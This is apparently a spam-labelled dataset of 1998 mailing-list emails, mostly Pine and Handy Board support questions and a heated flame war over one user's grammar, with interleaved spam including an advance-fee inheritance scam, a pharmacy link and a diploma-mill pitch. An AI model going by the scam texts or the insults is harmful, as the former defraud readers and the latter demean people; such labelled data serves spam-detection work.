Division Graf3 srl wrote: > we've read your message and it seems that we have the same problem of > yours! Congratulations. > If you have already any solution / or if you have found out where to get > the ""binhex converter 4.0"" we would appreciate that you send it to us, > or just give us the address where to find it ! > Please reply to e-mail: pdgraf@tin.it You've *got* to be joking... Robin -- /home/robin/.signature: I/O error *argl*",0,1 Matt Mendlik ,Pine Discussion Forum ,"Tue, 13 Jan 1998 16:04:14 -0500",hello.,"Dear Sir or Madam, At the following web address, http://www.washington.edu/pine/pine-info/96.05/msg00536.html is a message from me with my address and full name printed. Could you tell me why it is there, and could you please remove it? Thank you. Matt Mendlik ",0,1 Pjtrobot ,handyboard@media.mit.edu,"Tue, 13 Jan 1998 13:28:55 -0500",E clock & R/W,"Hi, I'd like to interface the HB to a HCTL1100. Does anyone already know could I pick the 68hc11 E clock and R/W pins??? Thx in advance Antony Vallee ",0,0 Pjtrobot ,handyboard@media.mit.edu,"Tue, 13 Jan 1998 13:31:07 -0500",Hb / Hctl1100 interface,"Hello, does anyone know I could find the entire schematics about interfacing a HB with 2 Hctl1100 ??? It would be great!! Thanks in advance, Antony Vallee ",0,0 Jennifer Call ,Pine Discussion Forum ,"Tue, 13 Jan 1998 15:46:10 -0700",help!!!!!!!!!!!!!!!!!!," some of my friends send me pictures or some text to my mailbox. When i try to viwe it, it tells me to to hit v then s. Well i can't find it and i don't know how to retreave it!!! When i type DIR when i log in, there it is...i can't get to it, is there any way to put it on a disk and open it later??/what can i DO???? Any help would be appreciated!!! ",0,0 """*Edidiong N. Ikpe*"" ",Pine Discussion Forum ,"Tue, 13 Jan 1998 18:10:45 -0500","""Disc Quota Exceeded?"""," WHat does it mean when the computer says ""disc quota exceeded"" and refuses to let you forward messages or save messages in any of your folders? How do you fix this problem? As I am typing this letter, the message : NO room for file, disc quota exceeded just appeared at the bottom of my screen! Edidiong Ikpe Harvard University * When you educate a WOMAN...You educate a NATION * * * * * Blessing in DeeSkies* * * * * * Edidiong N. Ikpe * * (617) 493-6275 * * 309 Pforzheimer House Mail Center* * Cambridge, MA * * 02138 * * * * * * * * * * * * * * * * * * * * ",0,0 Rodolfo Gonzalez Gonzalez ,Pine Discussion Forum ,"Tue, 13 Jan 1998 17:50:36 -0600",Re: help!!!!!!!!!!!!!!!!!!,"Hi, On Tue, 13 Jan 1998, Jennifer Call wrote: > some of my friends send me pictures or some text to my mailbox. > When i try to viwe it, it tells me to to hit v then s. Well i can't find > it and i don't know how to retreave it!!! When i type DIR when i log in, > there it is...i can't get to it, is there any way to put it on a disk and > open it later??/what can i DO???? Any help would be appreciated!!! I guess you're under UNIX. If so, when you're reading the message, type v to go to the viewer, then a list of the parts which form the message are displayed, you should then place the hightlight over the part you want to save (in this case, the picture file), and then press s in order to save it to the current direcory... at this step a line asking you to enter the name under which you want to save the file will appear, enter a name, press enter and voila! :) Do you want to get it to your local computer?... well, ftp it from the UNIX server with any ftp client (like CuteFTP in Windows, for example). Saludos. Rodolfo. ",0,0 Rodolfo Gonzalez Gonzalez ,Pine Discussion Forum ,"Tue, 13 Jan 1998 17:54:42 -0600","Re: ""Disc Quota Exceeded?""","Hi there, On Tue, 13 Jan 1998, *Edidiong N. Ikpe* wrote: > WHat does it mean when the computer says ""disc quota exceeded"" and refuses > to let you forward messages or save messages in any of your folders? You have run out of disk space, I guess... > How do you fix this problem? Delete some files from your directory, or ask your sysadmin to increase your quota os space... use the quota command to learn about how much disk space is available for you... also use the df command to see if there is enough room in the filesystems to send mail (sometimes if some areas get full, then you can't send mail). Use the man command to learn about the quota and df commands: man df & man quota... > As I am typing this letter, the message : NO room for file, disc quota > exceeded just appeared at the bottom of my screen! See comment two... > Edidiong Ikpe > Harvard University Saludos. Rodolfo. ",0,0 rodger ebelthite ,Pine Discussion Forum ,"Wed, 14 Jan 1998 01:48:59 +0200",Help-.tif file conversion with binhex,"I received an attached file with e-mail from Canada(a photogragh) and it apparently needs to be converted with binhex 4.0. I have an IBM compatible PC with Windows 95, msPicture-it and Easyphoto. None of these will open the file('the files format is invalid or not supported' etc). HOW DO I DO IT? Rodger Ebelthite rodger@netactive.co.za Durban, South Africa",0,0 RyouNneed2 ,Pine Discussion Forum ,"Tue, 13 Jan 1998 20:08:39 -0500",ascii character sets,"Hi, I am looking for a chart showing ascii character sets. If you know where on the web I can find one, please e-mail me back. Thanx ",0,0 Andrew Vardy ,Pine Discussion Forum ,"Tue, 13 Jan 1998 22:09:45 -0330",Re: help!!!!!!!!!!!!!!!!!!," On Tue, 13 Jan 1998, Jennifer Call wrote: > some of my friends send me pictures or some text to my mailbox. > When i try to viwe it, it tells me to to hit v then s. Well i can't find > it and i don't know how to retreave it!!! When i type DIR when i log in, > there it is...i can't get to it, is there any way to put it on a disk and > open it later??/what can i DO???? Any help would be appreciated!!! > So you see your file in the directory. OK. Type sz filename Then it will download your file. Then you can view that file later with whatever program you choose. If you wanted it on a disk, I guess you could copy it there after. Windows Explorer could copy the file to your drive A: (supposedly). Somehow. Or make a wish. Let us hope Robin doesn't spam Jennifer. As she needs help. Beware. _ ",0,0 Kefira Kohler ,handyboard@media.mit.edu,"Tue, 13 Jan 1998 14:45:56 -0500",Fat Go Go Go,"a attorney in non on division see vaginal it christoffel ",1,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Tue, 13 Jan 1998 19:48:02 -0000",Re: help!!!!!!!!!!!!!!!!!!,"Since Robin is repairing his hard drive, permit me to offer one or two observations on his behalf. 1. Hit ""V"" to view the message parts 2.Hit ""S"" to save (for example an image like a .gif) to your local drive 3. FTP the image down to your local machine using WS_FTP or some similar FTP program (freeware) 4. Although admittedly a minor matter, it's a gracious practice to capitalize the first letter of the first word in a sentence, and (usually) the first person is represented with a capital ""I"" as opposed to ""i"" 5. Things are never quite as much of a catastrophe as you think when you write an email. Give thought to what you are asking, and whom you are asking. It's unwritten, but recipients tend not to appreciate jumbled syntax and poorly composed email such as you sent below. Colin > some of my friends send me pictures or some text to my mailbox. >When i try to viwe it, it tells me to to hit v then s. Well i can't find >it and i don't know how to retreave it!!! When i type DIR when i log in, >there it is...i can't get to it, is there any way to put it on a disk and >open it later??/what can i DO???? Any help would be appreciated!!! > > ",0,0 """Ike Q. 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If i wanted your opinion on my grammer, i will tell it to > you. when dealing with people, be polite and try not to be a pompus > ass-hole. Did you read THAT clearly. > > Thankfully yours > Jennifer ... you forgot the ""u"" in pompoUs. Malcolm (malcolm@pnp.co.za) ",0,0 Oleg Kokotovic ,Pine Discussion Forum ,"Wed, 14 Jan 1998 17:51:23 +1100",configuring pico,"hi everyone! i love using pine and pico as the preferred editor (on a unix platform). however, i do need to set the tab size to 4 (for work purposes). i was just wondering if there was any way to do this, as i cannot find any similar configure commands on pine/pico. any help on this would be greatly appreciated. thank you. ps. i know how to do it in vi, but i hate vi and any clones/associates. ",0,0 Norbert Koch ,Pine Discussion Forum ,"Wed, 14 Jan 1998 08:07:21 +0100",Re: configuring pico,">>>On Wed, 14 Jan 1998 17:51:23 +1100 (EST), Oleg Kokotovic said: OK> hi everyone! i love using pine and pico as the preferred editor OK> (on a unix platform). however, i do need to set the tab size to OK> 4 (for work purposes). i was just wondering if there was any way OK> to do this, as i cannot find any similar configure commands on OK> pine/pico. any help on this would be greatly appreciated. thank OK> you. ps. i know how to do it in vi, but i hate vi and any OK> clones/associates. Hi, just a guess after a glance ... the only fast solution I've found is a recompile (hmpf) after a change of the following line ... mswin.c:8253:#define TAB_SIZE 8 maybe you could send in a patch making the variable user definable :-) l8er, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 Norbert Koch ,Pine Discussion Forum ,"Wed, 14 Jan 1998 09:10:54 +0100",Re: help!!!!!!!!!!!!!!!!!!,">>>On Tue, 13 Jan 1998 23:19:31 -0700 (MST), Jennifer Call said: JC> Colin, thank you for your help. it is nice that you take the time JC> to help me out. If i wanted your opinion on my grammer, i will JC> tell it to you. when dealing with people, be polite and try not JC> to be a pompus ass-hole. Did you read THAT clearly. Now listen sweetie ... we're here not at grammar school, sure enough, but you're hell of lucky that you've received an answer at all. You don't know anything about a thing called netiquette, do you - really? Have a look at your f*cking subject ... what do we learn about your problem during the study of it? That either the operator or the keyboard is broken - probably both ... So, just shut up and take the answer as given (in short, get lost). Malcolm ... hmm, imo it's the 'o' that's lacking :-) l8er, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 Henry ,mailarch+pine-info@groupms.cac.washington.edu,"Wed, 14 Jan 1998 01:51:57 +0100",bill Consolidation Application pre-approval,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! 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One thing to make note of, though.. If after asking for help from technical people (that's us), they actually answer your question, but raz you in addition answering your question (whether the teasing is playful or not playful is irrelevant), it is usually not a good idea to attack them, especially with foul language on a list that is public access. (Little children could read it.. and we all know how impressionable little children are..) The main reason for this, of course, is that technical people (that's us) don't respond well to attacks.. they tend to blow up planets and such. (I knew one fellow who blew up a planet just because someone said he had funny ears...) Another good reason would be all the flames you will recieve in response. (This letter is technically a flame.. I would call it more of a spark though, since it is rather mild). Of course, a great reason not to be a shmuck and ""bite the hand that feeds you"" even if it is a little rough, is that you probably won't get any help if you ever ask again (technical people [that's us] usually have good memories). Anyway, that was just my 2p Clark ",0,0 Noone Special ,Pine Discussion Forum ,"Wed, 14 Jan 1998 08:46:33 -0500",Re: help!!!!!!!!!!!!!!!!!!,"On 14 Jan 1998, Norbert Koch wrote: > Now listen sweetie ... > [FLAME DELETED] > > Malcolm ... hmm, imo it's the 'o' that's lacking :-) Darn you, I was gonna point that out :P~ Reminds me of the time when I just graduated from HS and put ""Honors Curiculum"" on a job application. The only response I recieved (via US Postal) was a note reading ""Blah blah.. position has been filled.. blah.. P.S. - If you want to emphisize that you took advanced classes in High School, you should probably spell 'Curriculum' correctly."" Of course, being a cocky little @#$@, I HAD to respond with a letter stating ""If you want to criticize someone for spelling, you should be sure your own spelling is perfect first. The word 'emphasize' is not spelled e-m-p-h-i-s-i-z-e."" I did not get a reply. Pat (last submission to this thread) ",0,0 """K.M. Jeary"" ",Pine Discussion Forum ,"Wed, 14 Jan 1998 14:55:36 +0000",Re: help!!!!!!!!!!!!!!!!!!," I normally ignore both breaches of netiquette and responses to same, since life is _definitely_ too short. Although I agree with the previous sender [ie if you insult a list, you are unlikely to get help from it] I _would_ ask people generally to bear in mind that there are people with real spelling/grammatical problems out there ie non-native English speakers and people with dyslexia. I should know;- I live with a dyslexic, and have difficulty in communicating with his brother [a friend] since he is also dyslexic, and very reluctant to send email to anybody, let alone lists or newsgroups because he gets flamed on these points. I should also add that he is one of the most competent people, technically, that I know. He has tried spell checkers and various other IT solutions, and they have proved inadequate [words out of context etc]. Speech to text may solve the problem in the near future, but it ain't yet really adequate - especially if you have an English, not an American, accent! So, please, next time you feel inclined to hit somebody over the head (metaphorically) for their spelling or their grammar, consider your immediate reaction first:-) Internet: K.M.Jeary@ucs.cam.ac.uk University Computing Service, Computer Laboratory, Pembroke St, Phone: +01223 335039/335632 Cambridge CB2 3QG, England. ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Wed, 14 Jan 1998 10:34:28 -0600",Re: help!!!!!!!!!!!!!!!!!!,">From: Norbert Koch >Date: 14 Jan 1998 09:10:54 +0100 >Malcolm ... hmm, imo it's the 'o' that's lacking :-) I think Malcolm was making a pun.",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Wed, 14 Jan 1998 10:40:42 -0600",Re: help!!!!!!!!!!!!!!!!!!,">From: Noone Special >Date: Wed, 14 Jan 1998 08:32:30 -0500 (EST) >On Tue, 13 Jan 1998, Jennifer Call wrote: >>when dealing with people, be polite and try not to be a pompus ass-hole. Did >>you read THAT clearly. >Of course, a great reason not to be a shmuck and ""bite the hand that feeds >you"" even if it is a little rough, is that you probably won't get any help if >you ever ask again (technical people [that's us] usually have good memories). I must strongly protest your use of the word ""schmuck"". For technical reasons, girls can't be, er, don't have, er . . . Well, the goyim shouldn't use Yiddish. It's dangerous.",0,0 Jennifer Jensen ,Pine Discussion Forum ,"Wed, 14 Jan 1998 12:56:21 -0500",Re: help!!!!!!!!!!!!!!!!!!,"I'm new to this list, but can I offer my opinion? The question may not be been asked the best way, and the rebuttal was very inadvisable. However, I believe that we're flogging a dead issue here, and getting off-track besides. That's just my two cents, of course. J. -------------------- jenniferj@quill.net jjense03@hercules.baker.edu ",0,0 """M. Overas"" ",Pine Discussion Forum ,"Wed, 14 Jan 1998 10:24:54 -0800",bug report,"Howdy; every time I open my e-mail, a notice telling me that I have a (quote) Bad context: no ""["" in listserve"" comes up and I don't know how to correct the bad listing. Perhaps you could help me on this, although the error certainly does not seem to affect operations. Thanks, Mark O ",0,0 Noone Special ,Pine Discussion Forum ,"Wed, 14 Jan 1998 13:45:54 -0500",Re: help!!!!!!!!!!!!!!!!!!,"On Wed, 14 Jan 1998, Adam H. Kerman wrote: > >From: Noone Special > >Of course, a great reason not to be a shmuck and ""bite the hand that feeds > > I must strongly protest your use of the word ""schmuck"". For technical reasons, > girls can't be, er, don't have, er . . . > Face it, Adam.. the populous has hijacked many wonderful Yiddish words and bastardized them to fit situations not appropriate for them. Perhaps Yiddish will become the national language? Or maybe just the preferred slang of the masses. > Well, the goyim shouldn't [BLAH BLAH] Hey.. ""Go yim!"".. sounds like something you would hear at a Japanese baseball game. :P~ Pat",0,0 Camp phipps ,Sophia ,"Wed, 14 Jan 1998 14:13:01 +0200",this is interesting,"More and more people are beginning to earn their D?poloma through the internet. Distance learning is often a great option for students who need to stay home for health reasons, desire to work at their own pace, find themselves unable to concentrate on their work in the traditional setting, or need to schedule their learning around a career... http://nostudying.irio.net/ ramove me from your list : see main website They have regretted jogging since last Monday. ",1,1 """Colin J. Raven"" ",Pine Discussion Forum ,"Wed, 14 Jan 1998 11:35:01 -0000",Re: help!!!!!!!!!!!!!!!!!!,"Jennifer; Ahhh, please excuse my delay in responding to your email. I was picking my fragile ego up from the floor and attempting to fix it with Super Glue(tm) You still are not capitalizing your 1st person references (""I"" as opposed to ""i""). Declarative sentence structure still needs considerable work. ""Tell it *to* you""???? Your usage of that structure is interesting. One could surmise that you were born to a different native language...Arabic perhaps? Maybe English instruction in Iraq isn't quite the thorough process we might all have thought it to be. Spelling is definitely below par, the last time I checked ""pompous"" contained an ""o"" and asshole (in current profane usage) is generally written as one word. It is preferable to avoid the use of profanity (pun...noooooo!) when responding to public forums such as this. Talleyrand, a noted French philosopher, raconteur, and judge of good whiskey observed in 1823; ""Swearing is the means by which the lowly and inarticulate choose to express their buried rage"" Given that he seems to have been right on the mark with numerous other profound observations made during his ""dark period"" this one is certainly food for thought. Last but far from least Jennifer, do yourself a favor before you descend into the bottomles pit of the lowest common denominator (The new, ignorant and learning-challenged Internet user). Learn the rules of composition, spelling and what has come to be known as ""Netiquette"". If you have such a sensitive nature, respond to a person with sardonic wit, finely tuned sarcasm, exquisitely gracious charm and good humor. That way, you really get your point across, and frequently elicit an apology from the offending (sic) party. You will most assuredly not receive one from me. Oh yes, lest I forget. You commented on politeness, or the lack thereof. Apparently the method for retrieval of attachments suggested by myself (and I now find from numerous other kind list members, as is customary on this most exquisitely polite mailing list) worked as described. The party that erred in faling to observe the standards of politeness and gracious behavior is you dear lady, not me. It is customary to post a brief ""thanks for the advice to all list members who posted the answer, (it) worked like a charm"". Once more, your plebian origins are apparent, nowhere do I see anything that approximates such a simple acknowledgement (although the listserver has been known to be slow...once on November 18th 1996 if I recall). So dear lady, perhaps you should ""retire and consider"" as Lord Nelson commented at Trafalgar. Next time you post to a list, be sure you are on the moral high ground, and when you venture onto Internet mailing lists, rememeber that they are ribald lively places, where the thin skinned and insecure should not venture. Hope this helps, and the best of luck to you. -Colin. (Oh, maybe that should have read ""Bon Chance Madameoiselle, et au revoir"" that way, you couldn't fault the politeness aspect, but ohmygosh, there I go again!) > Colin, thank you for your help. it is nice that you take the time >to help me out. If i wanted your opinion on my grammer, i will tell it to >you. when dealing with people, be polite and try not to be a pompus >ass-hole. Did you read THAT clearly. > > Thankfully yours > > ",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Wed, 14 Jan 1998 11:45:35 -0000",Re: help!!!!!!!!!!!!!!!!!!,"Hmmmm, you are without doubt correct, and the rebuttal was not one that I would normally have elected to post. Once in a while however, I read something (allegedly) written from the halls of academia...advanced academia at that, not 'yer high school dumbkopf which makes me want to a) scream b) vomit in disgust. It's your taxes and mine that fund what we laughingly and erroneously refer to as the education system. That post was almost inarticulate, whining, appallingly written and pathetic. It got to me, and I was obliged to fire a sarcastic reminder of that back at the offending party, together with the answer to her question I might add. Inadvisable??? Yes without question, and not my customary response. I don't regret it, but I do agree with you that it's off track. Ask yourself however, how the hell do people like that wind up in college? A colleague of ours, (now attending to hard drive problems so therefore absent temporarily) would have been measureably less kind, and the person concerned would have kicked in her terminal screen upon receipt of his advice! Mine was mild....almost tepid by comparison. Anyway...back to the subject at hand. I'm done. -Colin -----Original Message----- From: Jennifer Jensen To: Pine Discussion Forum Date: Wednesday, January 14, 1998 6:01 PM Subject: Re: help!!!!!!!!!!!!!!!!!! >I'm new to this list, but can I offer my opinion? The question may not be >been asked the best way, and the rebuttal was very inadvisable. However, I >believe that we're flogging a dead issue here, and getting off-track >besides. >That's just my two cents, of course. > >J. > >-------------------- >jenniferj@quill.net >jjense03@hercules.baker.edu > > > > >",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Wed, 14 Jan 1998 21:48:42 +0100",Re: help!!!!!!!!!!!!!!!!!!," On Tue, 13 Jan 1998, Jennifer Call wrote: > some of my friends send me pictures or some text to my mailbox. > When i try to viwe it, it tells me to to hit v then s. Well i can't find > it and i don't know how to retreave it!!! Did you read the help pine gives you? Hit ""?"" in the saving screen > When i type DIR when i log in, there it is...i can't get to it, is there > any way to put it on a disk and open it later?? Sure. It's all described very well in the documentation that's available for pine, and it's sometimes system-specific (i.e. I don't know if you're allowed to mount a floppy if you're on a u*ix system). > /what can i DO???? Stop shouting, start reading. Go to the pine website and grab a copy of the documentation. It's worth reading, anyway. Robin -- My hdd is falling apart and my sendmail.cfg was its first victim. My from: line is broken. Sorry! I'm robin@franck.pc.uni-koeln.de ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Wed, 14 Jan 1998 21:50:20 +0100",Re: bug report,"On Wed, 14 Jan 1998, M. Overas wrote: > every time I open my e-mail, a notice telling me that I have a (quote) > Bad context: no ""["" in listserve"" comes up and I don't know how to correct > the bad listing. Perhaps you could help me on this, although the error > certainly does not seem to affect operations. Thanks, Mark O This is not a bug in pine. Talk to your local system administrator about it. Robin -- My hdd is falling apart and my sendmail.cfg was its first victim. My from: line is broken. Sorry! I'm robin@franck.pc.uni-koeln.de ",0,0 Speaking Freely ,Pine Discussion Forum ,"Wed, 14 Jan 1998 13:53:25 -0600",Fw: help!!!!!!!!!!!!!!!!!!,"Jennifer and others: She is right. If this flaming must go on, why not direct the flames at the person who deserves them rather than clutter up the group? I for one have recieved very helpful feedback from the group. Some people are nicer than others, but then again, the information provided here is free. I must say though that Colin of all people on the list seems to try to get reactions like this. His attitude is relatively condescending when responding to people he assumes to be less technically endowed. If he were to cool it down a little on his tone, these kinds of people problems wouldn't be so widespread within the group. But then of course, maybe Colin is british and that is just a tad bit of Irony and Sarcasm :) I will shut my mouth now, I have expended my 2 cents. P.S. I apologize for assuming Colin is male if they are female. -----Original Message----- From: Jennifer Jensen To: Pine Discussion Forum Date: Wednesday, January 14, 1998 12:15 PM Subject: Re: help!!!!!!!!!!!!!!!!!! >I'm new to this list, but can I offer my opinion? The question may not be >been asked the best way, and the rebuttal was very inadvisable. However, I >believe that we're flogging a dead issue here, and getting off-track >besides. >That's just my two cents, of course. > >J. > >-------------------- >jenniferj@quill.net >jjense03@hercules.baker.edu > > > >",0,0 Stephan Sumner ,mailarch+pine-info@groupms.cac.washington.edu,"Sun, 11 Jan 1998 12:14:18 -0330",All products for your health!,"http://shjsok.poemmelt.com/?62817757 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! Operative support, fast shipping, secure p@yment processing and complete confidentiality! The store is VERIFIED BY BBB and APPROVED BY VISA! http://shjsok.poemmelt.com/?62817757 ",1,1 """Robin S. Socha"" ",Pine Discussion Forum ,"Wed, 14 Jan 1998 23:21:33 +0100","Jennifer, Grammer, Netiquette, and Life in General...","Yo! My harddisk is still falling apart, XEmacs is still dead, and I just found that an MUA that doesn't sort mail and display threads *sucks*. Did I mention pico? No? Ok, pico *sucks*, too, but my .pinerc... Well... .pinerc: I/O error Anyway... I fired up my response to Jennifer's orginal message regardless of the thread that had already developed, because the responses were buried among 896 other messages. If, however, I had read the entire thread beforehand, my reaction would have been entirely different... 1. Jennifer: you're no fun, and you don't have a clue, either. Please get one from a local brainware store. Get yourself a spellchecker, too. 2. Adam et al.: I don't just flame people? I've been on this list for some time and I must say that it's getting less and less fun. There are almost no technical problems here anymore. Instead, we get newbies (which was alright before the People at the Pine Tower decided that this list be the forum for technical discussion). Some of these newbies just don't have a clue. Now, you might argue that this is what newbies are like. NOT! I still maintain that *every* newbie ought to have read the netiquette or at least the stuff her ISP had handed out to her. I may be old-fashioned, but I will *not* give up easily. If someone comes to this forum looking for help, I expect her to maintain a minimum standard of politeness. And I don't mean crawling, I mean: a) a sensible subject (Jennifer, ""HELP!!!"" *sucks*, ok?) b) a meaningful signature (.signature: I/O error ]:-< ) c) consulting at the very least pine's online help, because it's good and easy to understand d) due diligence in composing one's message - pine offers a spell checker, and the reader can expect a minimum standard of readability. Jennifer: it might take us (nota bene, we're just users, we're not the pine team, ok?) some time to figure out a solution to your problem and type an answer. It's not asked too much of you to spend a little time to proofread you message, is it? 3. The people who offer free advice deserve a) respect, b) gratefulness, c) worship ... ooops! Ok, let's put it this way: when you get a helpful answer to your problem, don't start bitching because you get mildly toasted for your various violations of the netiquette. Noone told you that you suck, we only ridiculed your poor ""grammer"" and spelling. If you cannot live with that, get *commercial* support, ok? ++---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---++ As for life in general: my harddisk is still broken. This sucks. XEmacs and mutt already went down the drain. For some reason, pine still lives. Must be Murphy's. pine is not a good mailer for me. Not at all. It doesn't sort mail, it doesn't do threading, it doesn't score (well, I do, but that's not the question, is it?) and pico is an abomination. I hereby request that pico be replaced with an editor that does propper wrapping and indentation and which can be made aware of vi or Emacs keys. Did I hear anyone say ""joe""? Hmmm... yeah... broken hdd's suck. This might be the last message for two days. Go visit my website while you can, I got this really cool picture of me and my girlfriend up: . Jennifer, you might want to go here: . If anyone should feel the irrestible urge to send me a reply, my address is: robin@franck.pc.uni-koeln.de. I want my new 9GB drive - now! Later, Robin",0,1 """Mrs. Monica William"" ","""Mrs. Monica William"" ","Wed, 14 Jan 1998 19:12:03 +0400",PLEASE ENDEAVOUR TO USED IT FOR THE CHILDREN OF GOD.,"From: Mrs. Monica William PLEASE ENDEAVOUR TO USED IT FOR THE CHILDREN OF GOD. I am the above named person from Kuwait. I am married to Dr.Harry William who worked with Kuwait embassy in Ivory Coast for nine years before he died in the year 2004.We were married for eleven years without a child. He died after a brief illness that lasted for only four days. Before his death we were both born again Christians.Since his death I decided not to re-marry or get a child outside my matrimonial home which the Bible is against.When my late husband was alive he deposited the sum of 10Million Dollars (Ten Million United State Dollars) with one finance/security company in Amsterderm-Netherlands. Presently, This money is still with the Security Company. Recently, my Doctor told me that I would not last for the next three months due to cancer problem. Though what disturbs me most is my stroke sickness. Having known my condition I decided to donate this Fund to church or better still a christian individual that will utilize this money the way I am going to instruct here in. I want a church that will use this funds to fund churches,orphanages and widows propagating the word of God and to ensure that the house of God is maintained. The Bible made us to understand that Blessed is the hand that giveth. I took this decision because I don't have any child that will inherit this money and my husband relatives are not Christians and I don't want my husband's hard earned money to be misused by unbelievers. I don't want a situation where this money will be used in an ungodly manner. Hence the reason for taking this bold decision. I am not afraid of death hence I know where I am going. I know that I am going to be in the bosom of the Lord. Exodus 14 VS 14 says that the lord will fight my case and I shall hold my peace. I don't need any telephone communication in this regard because of my health and because of the presence of my husband's relatives around me always. I don't want them to know about this development. With God all things are possible. As soon as I receive your reply I shall give you the contact of the Finance/Security Company in Amsterderm-Netherlands. I will also issue you a letter of authority that will prove you as the original- beneficiary of this Funds. I want you and the church to always pray for me because the lord is my shephard. My happiness is that I lived a life of a worthy Christian. Whoever that wants to serve the Lord must serve him in spirit and truth. Please always be prayerful all through your life. Any delay in your reply will give me room in sourcing for a church or christian individual for this same purpose. Please assure me that you will act accordingly as I stated herein. Hoping to hearing from you. N.B-PLEASE I WILL ADVICE YOU TO GIVE THE LAWYER IN CHARGE A CALL IN NETHERLANDS IMMEDIATELY, HE DOES EVERYTHING ON MY BEHALF AND HE'S VERY UNDERSTANDING AND I BELIEVE HE WILL LEAD YOU TO YOUR SUCCESS IN JESUS NAME AMEN. Name: MR.EDWARD SMITH Tel number: 0031-630-655-043. Fax number: 0031847131601 Email address: edwardsmith70@netscape.net Remain blessed in the name of the Lord. Yours in Christ, Mrs. Monica William Note: reply email to edwardsmith70@netscape.net ",1,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Thu, 15 Jan 1998 00:08:46 +0100",Re: Fw: help!!!!!!!!!!!!!!!!!!,"On Wed, 14 Jan 1998, Speaking Freely wrote: > She is right. If this flaming must go on, why not direct the flames at the > person who deserves them rather than clutter up the group? Why not? Messages like the OP's have become a common trait here. This is not a Good Thing (tm). It does not acutally ""clutter up the group"", either. This list was supposed to be for technical problems. Well, that doesn't seem to work. So it might be used as a forum where one can, well, do some educational stuff. > I must say though that Colin of all people on the list seems to try to get > reactions like this. This is positively incorrect. It's also demeaning my articles. Shame on you. As a matter of fact, noone here is trying to get even more stoopid lusers on the net. On the contrary. Colin was making a very valid point with his article. It's not nice to hop into a mailing list, asking for information that is at your very fingertips, and it's suicidal to flame people that offer you free help. > His attitude is relatively condescending when responding to people he > assumes to be less technically endowed. Whiner. And it's *not* condescension you're experiencing here, but mere frustration, because ""we"" are becoming a minority - ""we"" meaning people that know what they're doing because we did in fact spend some time reading the documentation. You know, the pine docs are rather well written, and it doesn't take much time at all to read them. Personally, I cannot even begin to understand how one could not be able to download a file when all the necessary steps are explained in the docs _and_ probably a handout by the young lady's university. > If he were to cool it down a little on his tone, these kinds of people > problems wouldn't be so widespread within the group. No. If he were, this would be the most boring place on the entire internet, because there's no input whatsoever from the kind and gentle people like Ray Cummins and Annelise Undersome. There is, however, input from people like Colin. Take it or leave it - it's free and it's up to him if he want's to flame some luser for violation of the netiquette or not. > P.S. I apologize for assuming Colin is male if they are female. Geez, get a life... PC is dead and we've come to bury it. Robin SWM ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Wed, 14 Jan 1998 16:11:05 -0600","Re: Jennifer, Grammer, Netiquette, and Life in General...",">From: ""Robin S. Socha"" >Date: Wed, 14 Jan 1998 23:21:33 +0100 (CET) >2. Adam et al.: I don't just flame people? I didn't say anything at all about you. My only contribution was on the schmuck subthread.",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Thu, 15 Jan 1998 00:20:36 +0100","Re: Jennifer, Grammer, Netiquette, and Life in General...","On Wed, 14 Jan 1998, Adam H. Kerman wrote: > >From: ""Robin S. Socha"" > >2. Adam et al.: I don't just flame people? > I didn't say anything at all about you. My only contribution was on the schmuck > subthread. Subthread? What ""thread""? Pine doesn't know threads. You're on the Pine mailing list. Stay *on* topic, ok? Duhh... Robin ""SCNR"" Socha",0,0 Oleg Kokotovic ,Pine Discussion Forum ,"Thu, 15 Jan 1998 10:19:33 +1100",Re: configuring pico,"On 14 Jan 1998, Norbert Koch wrote: > >>>On Wed, 14 Jan 1998 17:51:23 +1100 (EST), Oleg Kokotovic said: > > OK> hi everyone! i love using pine and pico as the preferred editor > OK> (on a unix platform). however, i do need to set the tab size to > OK> 4 (for work purposes). i was just wondering if there was any way > OK> to do this, as i cannot find any similar configure commands on > OK> pine/pico. any help on this would be greatly appreciated. thank > OK> you. ps. i know how to do it in vi, but i hate vi and any > OK> clones/associates. > > Hi, just a guess after a glance ... > > the only fast solution I've found is a recompile (hmpf) after a change > of the following line ... > > mswin.c:8253:#define TAB_SIZE 8 > > maybe you could send in a patch making the variable user definable :-) > > l8er, norbert. > thank you for your reply, norbert. this was bout the only thing that i could come up with, though i must add i hadnt had an idea where to start/what to edit. my proficiency is not as great as i would like it to be, though creating a patch that would make this value user-definable (preferrably somewhere in the main menu) would be a GREAT idea. im not very versed in diff files or such either, nor have i the technical expertise to do anything of the likes. perhaps there are any takers???? thanks again, Oleg",0,0 ValTres ,handyboard@media.mit.edu,"Wed, 14 Jan 1998 15:44:17 -0500",8 bits A/D bus,"Hello, I've bought a handy board, and try to build a card to enserve two motors. On that card I have a IC chip (HP hctl 1100) that needs to be link to a 8 bits Adress/data bus in both reading and writing modes. My problem is where to pick such a bus on the board. So my two questions are: - Is it possible to connect to D0..D7 bus (knowing I want to keep the screen working as it's made for) to pick up informations without affecting the screen functions? In that case do I need something as a latch to differentiate the way for the informations to go? - Otherwise, how could I pick 8 I/O port on the board? Please, help me: It makes me stay awaken all nights!! Thanks in advance. H.Tressel ",0,0 Lenny Timmons ,mailarch+pine-info@groupms.cac.washington.edu,"Wed, 14 Jan 1998 06:20:16 +0002",Dont expose your intimate life!,"http://acmiqw.blazehalt.com/?83579305 